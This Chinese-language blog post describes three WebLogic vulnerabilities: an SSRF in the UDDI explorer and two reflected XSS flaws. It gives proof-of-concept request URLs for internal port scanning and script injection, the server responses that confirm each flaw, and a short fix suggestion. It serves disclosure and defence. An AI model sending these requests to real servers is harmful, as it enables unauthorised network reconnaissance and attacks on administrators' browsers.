1. 程式人生 > >WebLogic SSRF 及漏洞修復

WebLogic SSRF 及漏洞修復

SSRF漏洞,也稱為XSPA(跨站埠攻擊),問題存在於應用程式在載入使用者提供的URL時,沒能正確驗證伺服器的響應,然後就反饋回了客戶端。攻擊者可以利用該漏洞繞過訪問限制(如防火牆),進而將受感染的伺服器作為代理進行埠掃描,甚至訪問系統中的資料。

CVE-2014-4210, Server Side Request Forgery in SerachPublicRegistries.jsp 版本10.0.2,10.3.6

Oracle WebLogic web server即可以被外部主機訪問,同時也允許訪問內部主機。比如有一個jsp頁面SearchPublicReqistries.jsp,我們可以利用它進行攻擊,未經授權通過weblogic server連線任意主機的任意TCP 埠,可以能冗長的響應來推斷在此埠上是否有服務在監聽此埠。

下面是一個沒有服務監聽TCP 23埠的例子:

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:23&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search

響應的片斷如下:

weblogic.uddi.client.structures.exception.XML_SoapException: Connection refused

下面是一個有服務監聽TCP 23埠的例子:

https://[vulnerablehost]/uddiexplorer/SearchPublicRegistries.jsp?
operator=http://10.0.0.4:22&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&
selfor=Business+location&btnSubmit=Search

響應片斷如下:

weblogic.uddi.client.structures.exception.XML_SoapException: 
Received a response from url: http://10.0.0.4:22 which did not have a valid SOAP content-type: unknown/unknown.

可以利用這種功能來發現主機或對主機進行埠掃描。

CVE-2014-4241,Reflected Cross Site Scripting in SetupUDDIExploer.jsp 版本:10.0.2,10.3.6

使用者輸入對映到一個cookie值(有效期為1年!),這個值會以不安全的方式寫入到之後的響應裡,暴露給使用者進行跨站指令碼攻擊。

惡意的URL:

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL

響應會為cookier變數的privateregistry設值,並把瀏覽器重定向到SetupUDDIExplorer.jsp頁面。

HTTP/1.1 302 Moved Temporarily
Location: https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp
Set-Cookie: privateinquiryurls=<script>alert(2)</script>; expires=Saturday, 29-Nov-2014 08:00:27 GMT
Content-Length: 331
Content-Type: text/html;charset=UTF-8

重定向的請求為:

GET /uddiexplorer/SetupUDDIExplorer.jsp HTTP/1.1
Host: [vulnerablehost]
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|
http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|
http://uddi.rte.microsoft.com/inquire!Microsoft|
http://services.xmethods.net/glue/inquire/uddi!XMethods|;
 privateinquiryurls=<script>alert(2)</script>; 
privatepublishurls=http://[vulnerablehost]:8080/uddi/uddilistener;
 consumer_display=HOME_VERSION%3d1%26FORGOT_BUTTON_ROLE%3d73; 
cookie_check=yes; LANG=en_US%3BUS; navlns=0.0;

那麼響應的片斷為(響應中包含了cookie值:privateinquiryurls):

<td valign=top width=1%></td>
<td valign=top width=70%>
  <p>
  <h2>Private Registry:</h2>
  <h3>Search URL: <b><script>alert(1)</script></b></h3>
  <H3>Publish URL: <b>http://[vulnerablehost]:8080/uddi/uddilistener</b></h3>
  </p>

這類URL的例子:

https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2)</script>&setPrivateRegistryInquiry=Set+Search+URL
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
privateregistry=<script>alert(2</script>&setPrivateRegistryPublish=Set+Publish+URL
https://[vulnerablehost]/uddiexplorer/SetupUDDIExplorer.jsp?
publicregistryname=test&publicregistryurl=<script>alert(2)</script>&addPublicRegistry=Add+Public+Registry+URL

CVE-2014-4242,Reflected Cross Site Scriping in consolejndi.portal 版本:10.0.2,10.3.6,12.1.1,12.1.2.0.0

控制檯應用試圖去管理Weblogic 應用伺服器,正常是不被暴露的,它的攻擊目標是管理員。

這一類URL的例子1:

http://[vulnerablehost]:7001/console/consolejndi.portal?
_pageLabel=JNDIContextPageGeneral&_nfpb=true&JNDIContextPortlethandle=
com.bea.console.handles.JndiContextHandle("<script>alert(1)</script>")

響應片斷:

<div class="contenttable"><div class="introText">
<p>Listing of entries found in context <script>alert(1)</script>:</p>
</div>

這一類URL2的例子:

http://[vulnerablehost]:7001/console/consolejndi.portal?
_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');alert(1)//

響應片斷:

<script type="text/javascript">
document.write('<div class="JSTree">');
setBaseDirectory('/console/utils/JStree/images/');
setTaxonomyDelimeter('.');
{
_a = new TreeNode('server', null, 'myserver\u0027);
alert(4)//', '/console/consolejndi.portal?_nfpb=true&_pageLabel=JNDIHomePage&server=myserver');
alert(1)//', 'images/spacer.gif', 'images/spacer.gif', null, 'myserver\u0027);alert(4)//', false, false);

修復建議:

1.如果業務不需要UDDI功能,就關閉這個功能。可以刪除uddiexporer資料夾,可以可在/weblogicPath/server/lib/uddiexplorer.war解壓後,註釋掉上面的jsp再打包。

最後歡迎大家訪問我的個人網站:1024s